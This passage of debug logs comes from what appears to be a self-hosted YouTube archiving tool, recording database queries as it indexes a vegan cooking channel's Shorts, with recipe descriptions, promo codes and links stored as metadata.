#cookingcreators #shorts", "02e9fa76-a09e-4805-b0d9-b20918423e95", 1, [], 57, false, "55CZner_Hhw", "https://www.youtube.com/shorts/55CZner_Hhw", 180, "/downloads/downloads/alec/Steamy Vegan/2023-03-18 My Favorite Taco Recipe! #CookingCreatorsCollab001 #cookingcreators #shorts/My Favorite Taco Recipe! #CookingCreatorsCollab001 #cookingcreators #shorts [55CZner_Hhw].NA", false, false, true, 0, ~U[2023-03-18 18:12:00Z], ~U[2026-03-22 03:26:22Z], ~U[2026-03-22 03:26:22Z], "My Favorite Taco Recipe! #CookingCreatorsCollab001 #cookingcreators #shorts \n\nCopycat @chipotle Sofritas Tacos! 🌮\n1. Corn tortillas - warm 'em up on a hot, dry pan on both sides for 20 seconds each\n2. Slather on some Instant Pot Refried Beans (RECIPE: https://youtu.be/4B4GRiB3yzs)\n3. Add a saucy layer of Sofritas (I used @MakeItDairyFree recipe: https://makeitdairyfree.com/copycat-chipotle-sofritas/ )\n4. Add a little fresh crunch with Mango Pico de Gallo (RECIPE: https://youtu.be/zYX8d3bvg_w)\n5. Top with the BEST Guacamole EVER (RECIPE: https://youtu.be/GDjh5_Maauc)\n6. Sprinkle on some plant-based cheese (I used Violife Tex-Mex blend)\nENJOY AND SUBSCRIBE FOR MORE VEGAN FOOD INSPO! 👍🏻🌿\n\nCheck out the rest of the collaborators below! ⬇️\n\nGiovanna Gatto - https://youtube.com/shorts/wCSx9zfQIG8\nEric Metzger / Kevin Solis - https://www.youtube.com/shorts/vKG5SWrN8S0\nC. Adam \"Squirrl\" McClintock - https://youtube.com/shorts/l0nn46OOewQ\nJulius Mayo - https://youtube.com/shorts/4ZHzGisn7lY\nSonila Zarate - https://youtube.com/shorts/UWzYOTFBmbc\nRose Oatley - https://youtube.com/shorts/CMFClRkjuSs\nJoe Isaac - https://youtube.com/shorts/jyZP7z78C90\nValerie Lilley - https://youtube.com/shorts/E-x4KUZoe70\nTita Tanya! - https://www.youtube.com/shorts/lBWffsRPXFc\nKenneth Turner Ken in the Kitchen - https://youtube.com/shorts/4MlG1ZsCfSU\nTrufie Beulah - https://youtube.com/shorts/FFeG5Ngv1wc\nAshley Frederick / Whip It Like Butter - https://youtube.com/shorts/63VRWZ46_eE\nKatelyn Baldwin - https://youtube.com/shorts/fjMBtuyWrEo\nJanelle Carss / Steamy Vegan Kitchen - https://youtube.com/shorts/55CZner_Hhw\nDevin Boesing / @BoeBoeCooks - https://youtube.com/shorts/Ki827TsZka0\nCurtis Zondag / Indo_Chef - https://youtube.com/shorts/7xZRI8-dsHw\nShaan Grande @(whatsindepot) - https://youtube.com/shorts/FGM1cIYAFNo\nXuan Klevecka & Davis Luong - https://youtube.com/shorts/Xyt_IWbvCJY\nThimmy Abenes / Cook with Thimmy - https://youtube.com/shorts/kvDPK1qekAY\nJoanna Rankin / Lowbrow Fancy - https://www.youtube.com/shorts/gJRRChlvK7U\nDonna Greeson / Stir the Pot - https://youtube.com/shorts/lXeSP1NZ8Q0\nKid Chef Scarlet - https://youtube.com/shorts/vDh2Wd8Ih08\nPhilip Lemoine - https://youtube.com/shorts/ocwZUu6h_fM\nBrian & Sasha / Hoshi's Kitchen - https://youtube.com/shorts/xKyWpBCbVaw\n\n---------------------------------------------------------------------------------------------------------------\n\nUse our promo code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest-complete-package?ref=R3PGjUSm \n\nWatch my other 'WHAT I EAT' videos ➡️ https://www.youtube.com/playlist?list=PLf7woCLAh2s_EA5CAAa5fOF1PXubyDgkj\nStill hungry? Follow me on my other social channels for more steamy deliciousness!\n\nFACEBOOK: https://www.facebook.com/SteamyVeganKitchen\nINSTAGRAM: https://instagram.com/steamyvegankitchen\nPINTEREST: https://www.pinterest.ca/SteamyVeganKitchen\n\nBLOG: https://steamyvegankitchen.com\nCONTACT: janelle@steamyvegankitchen.com\n\nGet my FREE SOUP BASICS FOR BEGINNERS GUIDE!\nhttps://steamyvegankitchen.com/steamy-freebies/", "My Favorite Taco Recipe! #CookingCreatorsCollab001 #cookingcreators #shorts", 1, 57, false, "55CZner_Hhw", "https://www.youtube.com/shorts/55CZner_Hhw", "/downloads/downloads/alec/Steamy Vegan/2023-03-18 My Favorite Taco Recipe! #CookingCreatorsCollab001 #cookingcreators #shorts/My Favorite Taco Recipe! #CookingCreatorsCollab001 #cookingcreators #shorts [55CZner_Hhw].NA", true, ~U[2023-03-18 18:12:00Z]] 20:26:22.328 [debug] QUERY OK source="sources" db=0.4ms idle=281.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:22.329 [debug] QUERY OK source="media_profiles" db=0.4ms idle=8.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:22.329 [debug] QUERY OK source="media_items" db=0.4ms idle=7.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [569] 20:26:22.329 [debug] Current batch of media processed. Will check again in 1000ms 20:26:23.330 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "This pico de gallo will be the biggest hit at your next get together. If you enjoyed this pico de gallo short then don't forget to subscribe as all this week we're posting vegan and gluten free Mexican cuisine dishes. \n\nCheck out the full 9 minute pico de gallo cook with me video here: https://youtu.be/zYX8d3bvg_w", "duration" => 57, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-03-15 Pico De Gallo 💃 🤤 🍹 with a fruity twist 🥭 #shorts/Pico De Gallo 💃 🤤 🍹 with a fruity twist 🥭 #shorts [MZeHqIag1H4].NA", "id" => "MZeHqIag1H4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/MZeHqIag1H4", "playlist_index" => 181, "timestamp" => 1678892412, "title" => "Pico De Gallo 💃 🤤 🍹 with a fruity twist 🥭 #shorts", "upload_date" => "20230315"} 20:26:23.331 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=1003.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:23.332 [debug] QUERY OK source="sources" db=0.5ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:23.334 [debug] QUERY OK source="media_items" db=1.8ms idle=1003.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-15 15:00:12Z], 1] 20:26:23.335 [debug] QUERY OK source="media_items" db=0.8ms idle=1004.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This pico de gallo will be the biggest hit at your next get together. If you enjoyed this pico de gallo short then don't forget to subscribe as all this week we're posting vegan and gluten free Mexican cuisine dishes. \n\nCheck out the full 9 minute pico de gallo cook with me video here: https://youtu.be/zYX8d3bvg_w", "Pico De Gallo 💃 🤤 🍹 with a fruity twist 🥭 #shorts", "8fba21b2-b6f8-4dab-96f1-ce8345898e06", 1, [], 57, false, "MZeHqIag1H4", "https://www.youtube.com/shorts/MZeHqIag1H4", 181, "/downloads/downloads/alec/Steamy Vegan/2023-03-15 Pico De Gallo 💃 🤤 🍹 with a fruity twist 🥭 #shorts/Pico De Gallo 💃 🤤 🍹 with a fruity twist 🥭 #shorts [MZeHqIag1H4].NA", false, false, true, 0, ~U[2023-03-15 15:00:12Z], ~U[2026-03-22 03:26:23Z], ~U[2026-03-22 03:26:23Z], "This pico de gallo will be the biggest hit at your next get together. If you enjoyed this pico de gallo short then don't forget to subscribe as all this week we're posting vegan and gluten free Mexican cuisine dishes. \n\nCheck out the full 9 minute pico de gallo cook with me video here: https://youtu.be/zYX8d3bvg_w", "Pico De Gallo 💃 🤤 🍹 with a fruity twist 🥭 #shorts", 1, 57, false, "MZeHqIag1H4", "https://www.youtube.com/shorts/MZeHqIag1H4", "/downloads/downloads/alec/Steamy Vegan/2023-03-15 Pico De Gallo 💃 🤤 🍹 with a fruity twist 🥭 #shorts/Pico De Gallo 💃 🤤 🍹 with a fruity twist 🥭 #shorts [MZeHqIag1H4].NA", true, ~U[2023-03-15 15:00:12Z]] 20:26:23.336 [debug] QUERY OK source="sources" db=0.6ms idle=287.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:23.337 [debug] QUERY OK source="media_profiles" db=0.5ms idle=5.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:23.338 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=5.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [570] 20:26:23.338 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "MUSHROOM GRAVY 🍄 with all the *beautiful* mushrooms I received in my latest @pekoproduce mystery box 📦 \n\nHOW TO MAKE 🥣 \n½ onion, diced\n1 lb mushrooms, washed and chopped\n3 cloves garlic, minced\n1 tbsp miso paste\n2 tsp dried thyme\n½ tsp black pepper\n1 tbsp tamari\n¾ cup dry red lentils\n4 cups hot mushroom broth \n\nHeat 1 tbsp of oil or ¼ cup broth to a saucepan on medium high heat\nAdd the mushrooms, onion and garlic and sauté for 5 minutes until the onions are translucent and mushrooms start to reduce on size.\nAdd the thyme, black pepper, miso paste and tamari, stir to combine then cook for 2 more minutes.\nStir in the lentils and pour in the broth. Cover, reduce heat to medium and simmer for 15 to 20 minutes until the lentils are soft and cooked.\nBlend in your pot with an immersion blender until smooth, or ladle the mixture into a high-speed blender and blend until completely smooth, transfer back to the pot — OR leave the gravy as is and enjoy the chunky and thick texture of the whole mushrooms! Either way is delicious 😊\n\nWhy shop for groceries with Peko? 📦\n- help reduce food waste 🚮\n- help farmers 👩\u200D🌾\n- help our climate 🌏\n- help your wallet! 💵\n\nALSO! Shipping is free, and you can choose to buy once, weekly, bi-weekly or monthly and it comes right to your door 🚪\n\nLive anywhere from UBC to Langley?\u00A0@pekoproduce\u00A0delivers to all of\u00A0#metrovancouver. So hit that link in my bio or use my promo code STEAMYVEGANKITCHEN10 to save 10% off your first order! www.pekoproduce.com\n\n#steamyvegankitchen #steamyvegan #pekoproduce #vancouver #lovefoodhatewaste #imperfectproduce #groceryshopping #yvr #eattherainbow #grocerydelivery #eatwholefoods #eatwellbewell #reducewaste #sustainablefood #sustainablecooking #vancouverfoodie #vancouvervegan #vancouverbc #vancitybuzz #vancity", "duration" => 41, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-03-06 Easy Mushroom Gravy 🤤 🍄 #youtubeshorts #shorts/Easy Mushroom Gravy 🤤 🍄 #youtubeshorts #shorts [1aSIyzoG3DI].NA", "id" => "1aSIyzoG3DI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/1aSIyzoG3DI", "playlist_index" => 182, "timestamp" => 1678121823, "title" => "Easy Mushroom Gravy 🤤 🍄 #youtubeshorts #shorts", "upload_date" => "20230306"} 20:26:23.339 [debug] QUERY OK source="sources" db=0.6ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:23.340 [debug] QUERY OK source="sources" db=0.5ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:23.342 [debug] QUERY OK source="media_items" db=1.8ms idle=3.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-06 16:57:03Z], 1] 20:26:23.351 [debug] QUERY OK source="media_items" db=7.8ms idle=5.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["MUSHROOM GRAVY 🍄 with all the *beautiful* mushrooms I received in my latest @pekoproduce mystery box 📦 \n\nHOW TO MAKE 🥣 \n½ onion, diced\n1 lb mushrooms, washed and chopped\n3 cloves garlic, minced\n1 tbsp miso paste\n2 tsp dried thyme\n½ tsp black pepper\n1 tbsp tamari\n¾ cup dry red lentils\n4 cups hot mushroom broth \n\nHeat 1 tbsp of oil or ¼ cup broth to a saucepan on medium high heat\nAdd the mushrooms, onion and garlic and sauté for 5 minutes until the onions are translucent and mushrooms start to reduce on size.\nAdd the thyme, black pepper, miso paste and tamari, stir to combine then cook for 2 more minutes.\nStir in the lentils and pour in the broth. Cover, reduce heat to medium and simmer for 15 to 20 minutes until the lentils are soft and cooked.\nBlend in your pot with an immersion blender until smooth, or ladle the mixture into a high-speed blender and blend until completely smooth, transfer back to the pot — OR leave the gravy as is and enjoy the chunky and thick texture of the whole mushrooms! Either way is delicious 😊\n\nWhy shop for groceries with Peko? 📦\n- help reduce food waste 🚮\n- help farmers 👩\u200D🌾\n- help our climate 🌏\n- help your wallet! 💵\n\nALSO! Shipping is free, and you can choose to buy once, weekly, bi-weekly or monthly and it comes right to your door 🚪\n\nLive anywhere from UBC to Langley?\u00A0@pekoproduce\u00A0delivers to all of\u00A0#metrovancouver. So hit that link in my bio or use my promo code STEAMYVEGANKITCHEN10 to save 10% off your first order! www.pekoproduce.com\n\n#steamyvegankitchen #steamyvegan #pekoproduce #vancouver #lovefoodhatewaste #imperfectproduce #groceryshopping #yvr #eattherainbow #grocerydelivery #eatwholefoods #eatwellbewell #reducewaste #sustainablefood #sustainablecooking #vancouverfoodie #vancouvervegan #vancouverbc #vancitybuzz #vancity", "Easy Mushroom Gravy 🤤 🍄 #youtubeshorts #shorts", "3387a335-b9de-4db7-bd78-5b510ae68501", 1, [], 41, false, "1aSIyzoG3DI", "https://www.youtube.com/shorts/1aSIyzoG3DI", 182, "/downloads/downloads/alec/Steamy Vegan/2023-03-06 Easy Mushroom Gravy 🤤 🍄 #youtubeshorts #shorts/Easy Mushroom Gravy 🤤 🍄 #youtubeshorts #shorts [1aSIyzoG3DI].NA", false, false, true, 0, ~U[2023-03-06 16:57:03Z], ~U[2026-03-22 03:26:23Z], ~U[2026-03-22 03:26:23Z], "MUSHROOM GRAVY 🍄 with all the *beautiful* mushrooms I received in my latest @pekoproduce mystery box 📦 \n\nHOW TO MAKE 🥣 \n½ onion, diced\n1 lb mushrooms, washed and chopped\n3 cloves garlic, minced\n1 tbsp miso paste\n2 tsp dried thyme\n½ tsp black pepper\n1 tbsp tamari\n¾ cup dry red lentils\n4 cups hot mushroom broth \n\nHeat 1 tbsp of oil or ¼ cup broth to a saucepan on medium high heat\nAdd the mushrooms, onion and garlic and sauté for 5 minutes until the onions are translucent and mushrooms start to reduce on size.\nAdd the thyme, black pepper, miso paste and tamari, stir to combine then cook for 2 more minutes.\nStir in the lentils and pour in the broth. Cover, reduce heat to medium and simmer for 15 to 20 minutes until the lentils are soft and cooked.\nBlend in your pot with an immersion blender until smooth, or ladle the mixture into a high-speed blender and blend until completely smooth, transfer back to the pot — OR leave the gravy as is and enjoy the chunky and thick texture of the whole mushrooms! Either way is delicious 😊\n\nWhy shop for groceries with Peko? 📦\n- help reduce food waste 🚮\n- help farmers 👩\u200D🌾\n- help our climate 🌏\n- help your wallet! 💵\n\nALSO! Shipping is free, and you can choose to buy once, weekly, bi-weekly or monthly and it comes right to your door 🚪\n\nLive anywhere from UBC to Langley?\u00A0@pekoproduce\u00A0delivers to all of\u00A0#metrovancouver. So hit that link in my bio or use my promo code STEAMYVEGANKITCHEN10 to save 10% off your first order! www.pekoproduce.com\n\n#steamyvegankitchen #steamyvegan #pekoproduce #vancouver #lovefoodhatewaste #imperfectproduce #groceryshopping #yvr #eattherainbow #grocerydelivery #eatwholefoods #eatwellbewell #reducewaste #sustainablefood #sustainablecooking #vancouverfoodie #vancouvervegan #vancouverbc #vancitybuzz #vancity", "Easy Mushroom Gravy 🤤 🍄 #youtubeshorts #shorts", 1, 41, false, "1aSIyzoG3DI", "https://www.youtube.com/shorts/1aSIyzoG3DI", "/downloads/downloads/alec/Steamy Vegan/2023-03-06 Easy Mushroom Gravy 🤤 🍄 #youtubeshorts #shorts/Easy Mushroom Gravy 🤤 🍄 #youtubeshorts #shorts [1aSIyzoG3DI].NA", true, ~U[2023-03-06 16:57:03Z]] 20:26:23.351 [debug] QUERY OK source="sources" db=0.3ms idle=12.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:23.352 [debug] QUERY OK source="media_profiles" db=0.1ms idle=12.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:26:23.353 [debug] QUERY OK source="media_items" db=0.4ms idle=12.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [571] 20:26:23.353 [debug] Current batch of media processed. Will check again in 1000ms 20:26:24.354 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Full episode here https://youtu.be/cCiQc7rHz1o\n\n\n\nMusic by frumhere, kevatta - summer nights - https://thmatc.co/?l=D6FDD185", "duration" => 59, "filename" => "/downloads/downloads/alec/Steamy Vegan/2023-03-05 Day in the life of a millennial YouTuber/Day in the life of a millennial YouTuber [Tqt28VUxJLk].NA", "id" => "Tqt28VUxJLk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/Tqt28VUxJLk", "playlist_index" => 183, "timestamp" => 1678031269, "title" => "Day in the life of a millennial YouTuber", "upload_date" => "20230305"} 20:26:24.355 [debug] QUERY OK source="sources" db=0.3ms idle=1003.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:26:24.355 [debug] QUERY OK source="sources" db=0.2ms idle=1003.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:26:24.358 [debug] QUERY OK source="media_items" db=2.4ms idle=1003.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-05 15:47:49Z], 1] 20:26:24.361 [debug] QUERY OK source="media_items" db=1.9ms idle=1005.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Full episode here https://youtu.be/cCiQc7rHz1o\n\n\n\nMusic by frumhere, kevatta - summer nights - https://thmatc.co/?l=D6FDD185", "Day in the life of a millennial YouTuber", "fa50f18f-b0f2-4233-a0b3-b4b6a0dbe58d", 1, [], 59, false, "Tqt28VUxJLk", "https://www.youtube.com/shorts/Tqt28VUxJLk", 183, "/downloads/downloads/alec/Steamy Vegan/2023-03-05 Day in the life of a millennial YouTuber/Day in the life of a millennial YouTuber [Tqt28VUxJLk].NA", false, false, true, 0, ~U[2023-03-05 15:47:49Z], ~U[2026-03-22 03:26:24Z], ~U[2026-03-22 03:26:24Z], "Full episode here https://youtu.be/cCiQc7rHz1o\n\n\n\nMusic by frumhere, kevatta - summer nights - https://thmatc.co/?l=D6FDD185", "Day in the 